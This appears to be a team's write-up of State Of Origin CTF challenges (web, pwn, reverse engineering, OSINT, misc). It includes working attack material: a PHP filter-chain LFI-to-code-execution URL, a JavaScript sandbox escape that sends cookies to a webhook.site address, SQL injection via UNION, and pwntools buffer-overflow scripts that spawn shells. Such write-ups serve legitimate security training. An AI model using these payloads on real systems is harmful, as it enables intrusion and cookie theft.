State Of Origin CTF (SOOCTF) Writeup
Some writeups from the [NSW] Pwned team (UTS:CSEC + UNSW:SecSoc)
web
Sequel to Recipe Finder
1
2
3
I learnt from my mistakes. I have also implemented a database backend and put some recipes in. I wonder if your recipe is in there?
Created by @dan1el
We are greeted with this input box
That queries the server with our input and returns the recipes
Likely, this means that the server will be vulnerable to some kind of query injection.
We can confirm this by we fuzzing the request with burp repeater and see that the server will only error when an odd number of single quote '
is submitted
Letโs check if the flag is hidden in this table
Doesnt seem to have the flag. well, maybe itโs stored in another table?
We can use UNION
to inject an additional query for the names of other tables. However, we we need to make sure that our query returns 6 columns too (corresponding to id, name, ingredients, method, cooking time, prep time), so we pad our request with NULL
Wow, a table named flag! Then we query for the column names of โflagโ
And finally
SOOCTF{I_4m_@n_SQL_1nj3ct10n_3xp3rt}
written by @lexsai
Style Points
1
2
3
'In house' software is always so secure, we know exactly what it does! That said... apparently UNSW has been stealing our flags through our CSS testing platforms.
Created by @APender
We are greeted by
Which, when following one of the links, leads to
Notice the file
parameter in the urlโ maybe we have LFI?
Damn. The server doesnt return the entire flag.
Letโs notice that the server runs on php from the index.php
in the url. maybe we can use a Php Filter Chain to store a php webshell and get RCE?
Too easy ๐ฅฑ
1
/index.php?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=cat+/flag.txt
written by @lexsai
Style Points 2
1
2
3
'In house' software is always so secure, we know exactly what it does! That said... apparently UNSW has been stealing our flags through our CSS testing platforms.
Created by @APender.
Exactly the same solution as Style Points
Play
1
2
3
You have eval, what more could you ask for?
Created by @ssparrow
We are greeted with this page
And if we try to access document.cookie
, it fails
The catch is that we have to get through these filters
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
const allowedVars = {
console: {
log: (...args) => {
outputcode.innerText +=
args
.map((x) => {
if (x === undefined) {
return "undefined";
} else if (x === null) {
return "null";
} else {
return JSON.stringify(x);
}
})
.join(", ") + "\n";
},
},
};
let evalEnabled = true;
const restricted = new Proxy(
{},
{
has(_, key) {
return true;
},
get(_, key) {
if (key in allowedVars) {
return allowedVars[key];
}
if (key === "eval") {
if (evalEnabled) {
evalEnabled = false;
return eval;
}
}
if (key === "__INTERNAL_CODE_TO_EVAL") {
return codearea.value;
}
return undefined;
},
}
);
const execute = () => {
outputcode.innerText = "Program output:\n\n";
evalEnabled = true;
try {
with (restricted) {
eval(__INTERNAL_CODE_TO_EVAL);
}
} catch (err) {
outputcode.innerText += "\n\nAn error occurred:\n" + err.toString();
}
};
Our code is passed into that eval in execute
โฆ
Wait, js has a with
statement? what on earth does it do?
Letโs check MDN
This means that, according to the code, the restricted
Proxy
object will take priority on the scope chain and restrict the variables we can access to the unqualified identifier console
and its attribute log
So, we need to escape the restricted
scope if we want to access document.cookies
and steal the flag
One way we can do that is with the Function()
constructor
According to MDN, it executes like an eval in the global scopeโ and, lucky for us, it is an attribute of every function as .constructor
This means we can get execution in the global scope through console.log.constructor("<eval code>")
or (function(){}).constructor("eval code")
So, we can execute a payload like this to exfiltrate the flag from the admins:
console.log.constructor("fetch('https://webhook.site/WEBHOOK.SITE UUID HERE/' + btoa(document.cookies))")()
(webhook.site is just a request data reciever)
SOOCTF{j4v4scr1pt_1s_truly_1_of_th3_langu4g35}
written by @lexsai
Recipe Finder
1
2
3
I have started working on building a web app to store some recipes. I remember learning about making web apps in university, but I can't remember how to do it. I hope this app isn't vulnerable to any attacks!!!
Created by @dan1el
Enum with fuzzer, you will find it runs jinja on backend
Try template injection
Its vulnerable, read flag,
easy
pwn
Queensland University of 0x80491b6
1
2
3
We let UQ help us with our brand new hat generation technology but I think UNSW snuck in some of their own...
Created by @APender
Download here
We are given a binary which takes an input and seems to just return the same hat ASCII art. You can do this two ways: The pwn way where you look at the asm and do more dynamic analysis, or reverse it in ghidra and do everything statically.
pwn method
Running the binary in pwn-dbg shows a Technology function (You can also decompile the binary in ghidra) Dumping the asm for the function shows a system call:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> disass Technology
Dump of assembler code for function Technology:
0x080491b6 <+0>: push ebp
0x080491b7 <+1>: mov ebp,esp
0x080491b9 <+3>: push ebx
0x080491ba <+4>: sub esp,0x4
0x080491bd <+7>: call 0x804959b <__x86.get_pc_thunk.ax>
0x080491c2 <+12>: add eax,0x3e32
0x080491c7 <+17>: sub esp,0xc
0x080491ca <+20>: lea edx,[eax-0x2fec]
0x080491d0 <+26>: push edx
0x080491d1 <+27>: mov ebx,eax
0x080491d3 <+29>: call 0x8049080 <system@plt>
0x080491d8 <+34>: add esp,0x10
0x080491db <+37>: nop
0x080491dc <+38>: mov ebx,DWORD PTR [ebp-0x4]
0x080491df <+41>: leave
0x080491e0 <+42>: ret
So if we can jump to the function then it will execute system and hopefully a shell?
Check for a buffer overflow with a cyclic pattern.
1
2
3
4
5
6
7
8
pwndbg> pi
>>> from pwn import *
>>> g = cyclic_gen()
>>> g.get(100)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
>>> quit
pwndbg> r
>>> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
This does cause a seg fault! So looking at the registers the EIP (instruction pointer) has the value โlaaaโ which means there is a buffer size of:
1
2
3
4
5
pwndbg> pi
>>> g.find('laaa')
(44, 0, 44)
44
Double check:
1
2
3
4
5
6
7
8
>>> print("A"*44+"B"*4)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
>>> quit
pwndbg> r
>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
*EIP 0x42424242 ('BBBB')
So now that we have control over the EIP we can jump to the technology function at 0x80491b6
Rev way
Opening the binary in ghidra Shows a Technology function with system calling /bin/sh
Ghidra shows that the function starts at 0x80491b6
so thatโs our jump point.
The main function calls expertly_calculate_head_size
which runs gets
on a 36 byte char. As the program is using gets
and not fgets
you can cause a buffer overflow. The buffer size to get to the EIP will be 36+8 (there are 2 registers before the EIP) So a buffersize of 44 bytes.
Solv Script
So using pwntools (template by @lexsai):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
exe = ELF("hat-generator")
context.binary = exe
def conn(local =False):
if local:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("chal.stateoforigin.online", 3001)
return r
def main():
r = conn(local=True)
payload = b"A"*44+p32(0x80491b6)
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Checking locally gives a shell and running it against the server also works! (remove local=True)
1
SOOCTF{th4t_w45nt_4_h4t}
written by @eljayright & @lexsai
Group Project
1
2
3
I'm so sick of group projects, they're so hard to coordinate! All we had to do was build a simple calculator but people just kept adding more and more to it! I tried to keep track of what people were working on but I have no idea anymore. - Jonah - Addition - Subtraction - Calculator Lore - Mitchell - Multiplication - Making sure 1337 speak works when the calculator's upside down - Anthony - Did nothing - Alex - ??? Anyway, here's what we have. Do you think it'll pass?
Created by @APender
Download files here
Given a binary (and later the source code, but thats the QLD mindset :evil:)
Reversing the binary in ghidra shows a bunch of functions with the most interesting one being pow:
1
2
3
4
5
6
7
8
9
10
11
12
13
double pow(double __x,double __y)
{
float10 in_ST0;
float10 extraout_ST0;
if (__x == 2261635.739677302) {
system("echo $((0xdeadbeef**0x41414141))");
in_ST0 = extraout_ST0;
}
return (double)in_ST0;
}
So idc about anything other then the fact it is using system (at 0x804943a
) . As the binary is 32bit we can put arguments for functions onto the stack meaning we can pass any value into system. There are two ways to do this:
- The hard and wrong way: Put
/bin/sh
in the buffer and then have a pointer pointing to the start of the buffer. This could work but when trying I was getting a string termination error which makes sense. - Find a way to put
/bin/sh
into a variable or onto the stack.
Method 2 turned out to work as we can input 2 separate strings.
Now to just find a way to get a buffer overflow. Checking the lore function it is calling gets
again on a 14 byte char. So buffer size of 22.
Solve script by @lexsai
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
exe = ELF("calculator")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("130.102.49.74", 3002)
return r
def main():
r = conn()
# gdb.attach(r, gdbscript='b *0x0804940a')
r.sendline(b'7/bin/sh') # /bin/sh is written to 0x804c02c + 1
r.sendline(b'A'*22 + p32(0x804943a) + p32(0x804c02c + 1))
r.interactive()
if __name__ == "__main__":
main()
So why does this work?
Looking at the main
function and then menu
in ghidra there is a switch statement which only checks the first value of the input, with this variable being stored at 0x804c02c
and we dont want the first value so 0x804c02c+1
will be the value of /bin/sh
.
So combining everything gives:
1
2
"A"*22 + (system_call location) + (/bin/sh location)
"A"*32 + "0x804943a"+"0x804c02c+1"
1
SOOCTF{H0p3_1_g3t_4_b3tt3r_gR0up_n3xt_t1m3}
Credit: @lexsai for solving the chall on the day, @eljayright for writeup
Member Management Software v0.1
1
2
3
4
5
6
7
A new member of the club, Han, developed software to manage club members. One day, Han said to me,
"Because I want it to be highly configurable software, it first reads a config file."
Another day, the club president was looking for Han because the program had a flaw that led to the leak of all the club membersโ information. Can you figure out how the flaw can be exploited?
Created by @Ch1keen
Download file here
Given a binary: Running the binary immediately gives me a heap exploit challenge vibe. Good video about how to exploit these types of challs: link
Connecting to the nc connection:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ nc chal.stateoforigin.online 3003
Initializing...
SOOCTF member management system v0.1
====================
1. Add New Member
2. List Members
3. Delete Members
4. Exit
====================
>>> 1
Length: 999
Name: a
a is added to the member list. let's welcome a!
====================
1. Add New Member
2. List Members
3. Delete Members
4. Exit
====================
>>> 2
Member List:
aOCTF{H4nny_w0nt_m4ke_such_a_mist4k3s_4nd_try1ng_t0_make_a_h34p_ch4l1}
With the flag format being SOOCTF{} the flag will be:
1
SOOCTF{H4nny_w0nt_m4ke_such_a_mist4k3s_4nd_try1ng_t0_make_a_h34p_ch4l1}
You could also do this statically in ghidra if you want.
Credit: @lexsai for solving the chall on the day, @eljayright for writeup
rev
Drainage
1
I can't trust password managers anymore. Now if someone wants to steal my password they'll have to visit the drainage. Flag format - SOOCTF{code}
Download Here
This is quite a tricky challenge, note that I had no previous knowledge of the source engine ๐
Searching for "what is a bsp file"
yields a website which explains its a "Valve Source BSP Map"
.
The Valve Source engine is used in many games, most popular in CS:GO (Counter Strike: Global Offensive).
Searching "How to open bsp file"
, yields the official valve website, suggesting an open source tool, BSPSource
We find the projects GitHub page, and download the latest release:
https://github.com/ata4/bspsrc/releases
Extracting the release zip, we have the following files. Lets run bspinfo.bat
(.bat since im on windows, .sh for linux) to find some more info about this file.
We will File > Open the given .bsp file
bspinfo confirms that this map is for cs:go (Counter Strike: Global Offensive). Lets now decompile it.
Close bspinfo and open bspsrc.bat
Add our BSP file
Choose the path decompile, and once done, close bspsource.
Now, to actually view the map, we need Hammer
, a map development tool. Its inside the CS:GO SDK, Downloadable on steam.
Once downloaded, open Hammer
Now, we will File > Open our decompiled file from bspsrc
(ends in .vmf)
Once opening the file, you will get a screen like this. Choose the camera icon to look around.
We can see there is a load of these logic_compare objects. Not sure why they are here.
The map is a long tunnel. At one end, the player spawns, at the other end there is a keypad
and multiple other objects.
The keypad end is interesting.
Lets try and understand what these objects are doing (they are kind of like scripts)
Lets double click on all the objects that ARENT logic_compare, and have a look at the inputs and outputs.
While looking through all the objects, we can see that some of the logic_timer object inputs have a red arrow, I have zero clue what it is, but lets have a look and double click on it
Interesting, theres a parameter
table, which contain 15 numbers, and it seems to be trying to compare them.
As a completely wild guess, I submitted the flag as SOOCTF{ the numbers }
And it was correct.
Final Flag: SOOCTF{183971109815233}
Great Challenge @apender
(author)
Try Not To Decompile
1
2
3
4
5
6
7
8
9
Naoki released a mobile game, saying 'Do you remember the Tamago game?'. The game had a ranking system with Naoki's backend server. "Hey, it takes two weeks to win this game, mate!" The club members loved it.
Several months later, people no longer played the game, so Naoki decided to clean up the server. But Naoki heard that a club member, Han, had stolen the API key used in the ranking system and tried to run an Ethereum miner.
"Sorry, I thought the server was abandoned." said Han. "How did you intrude into the server?" asked Naoki. "The API key was hard-coded, so I could find some cloud server credentials."
Hard-coded API key led to a coin miner... Naoki sighed. Well, Naoki wants to follow up on how Han found the API key. Can you find the API key stored in the game application? The API key starts with 'SOOCTF'.
Created by @Ch1keen
Download Here
Lets have a look through the apk. Decompile it with jadx
or https://www.decompiler.com
We know that the flag starts with โSOCTFโ, so lets do a quick rercursive grep
We find that there are some libs that match. (There are 3 of the same, because this was compiled for 3 architechtures, ignore the dupes)
Lets look closer into them.
Opening the file, we see theres a load of data. Lets search for the starting string of the flag.
On the second search, we find the flag.
SOOCTF{D0_F1utt3r1ng_6irds_dr34m_0f_4ndr0ids?}
OSINT
The Bush Doof
1
2
3
4
5
6
7
A CTF wouldn't be complete without an afterparty, but rather than hit up the local pub we've planned something a little different. To celebrate the end of the inaugural SOOCTF we're hosting a Bush Doof and you're invited. Being a bush doof, obviously we can't just give away the location to anyone, so we've hidden it in your invite. An OSINT master like you should be able to figure it out. We can't wait to see you there!
Find the name of the road you have to turn off to get to the rave location.
Flag example: SOOCTF{Random_Road}
Created by @dLAN
Attached GIF:
Download Here
Looking at the GIF carefully, we notice that there is 3 words which popup, and dont seem to make sense.
In the description itโs described that we need to find a location. There is a website called what3words
, which is a database of 3 words, corresponding to an irl location. Lets put the 3 words that popup into the site. https://what3words.com
1
obstruct, calendars, dearer
Zooming out, we find it gives us a location in Queensland:
The description says the flag format is SOOCTF{Random_Road}
, so lets try input the 2 closest roads: Glengarrie
and Urliup
Urliup
is the flag.
SOOCTF{Urliup}
Misc
QLDโs Secret Weapon
1
We seem to have found some sort of strange research project called 'north queensland'. But we have no idea what it is. Can you work it out?
Download Here
Opening the attached file, we see its Marlin 3D Printer GCode. This can be opened with either a proper slicer (cura), or an online viewer.
We can open it by changing the extention to .gcode.
We can see theres text under the object, moving the printer progress slider back a little, reveals the flag:
Webpage
1
2
3
Hey I published a webpage Oh cool What is the address? 0x7b5AF3210B5E977626DE4710820FF82fb83592cC What??? Ch1keen has left the chat Hello mate????
Created by @Ch1keen
Assuming that the string in the description 0x7b5AF3210B5E977626DE4710820FF82fb83592cC
is an ethereum address (the 0x), we go straight to https://etherscan.io to view its information:
Etherscan reports that there is an ENS Domain associated with this wallet. Lets go to the ENS registration website to check its records out! https://app.ens.domains
ENS domains can contain lots of info, mostly used for a quick link to an eth wallet (dont have to remember the numbers), but they can also hold ipfs website links, and other text.
We can see that there is a ipfs link connected. Lets click View
to view it through a proxy site (ipfs is distributed, you cant access directly)
We can see that it takes us to a webpage, that prints a random string of text when the r
key is pressed. The flag is probably in there, these must be stored somewhere. Lets check the website files.
We can see that there is embedded javascript inside the main html. The flag is there.
Something About Sport
1
2
3
It's not a State of Origin CTF without a little sport!
Created by @Drew3d
Download Here
Weโre provided with an image. Running exiftool
on it gives us the following warning:
1
2
3
Software : serioussoftware
Warning : [minor] Trailer data after PNG IEND chunk
Image Size : 289x309
We can see what this looks like by getting a hex dump of the image or checking it with zsteg:
1
2
3
4
5
6
00000000: 01 00 11 01 01 00 01 00 01 00 01 01 01 11 01 11 |................|
00000010: 01 00 11 01 01 01 01 00 01 00 00 01 01 11 01 11 |................|
00000020: 01 00 11 01 01 01 01 00 01 00 01 01 01 11 01 11 |................|
00000030: 01 00 11 01 01 01 01 00 01 00 00 01 01 11 01 11 |................|
00000040: 01 00 11 01 01 01 01 00 01 00 01 01 01 11 10 00 |................|
00000050: 01 00 11 01 01 01 01 00 01 00 00 01 01 11 10 00 |................|
1โs and 0โs for hexadecimal digits, classic -_- This seems to indicate weโre supposed to treat the hexadecimal digits as binary data. Using the following python script we can retrieve the binary string:
1
2
data = open("seriousbusiness.png", "rb").read()
print(data[data.find(b"IEND") + 8:].hex())
Chucking it into CyberChef and using the magic options shows, after decoding from base 64 then binary again, we get the flag!
SOOCTF{cH3ck_7he_bYt35_kjnkbufcf}
written by @yellowsubmarine1447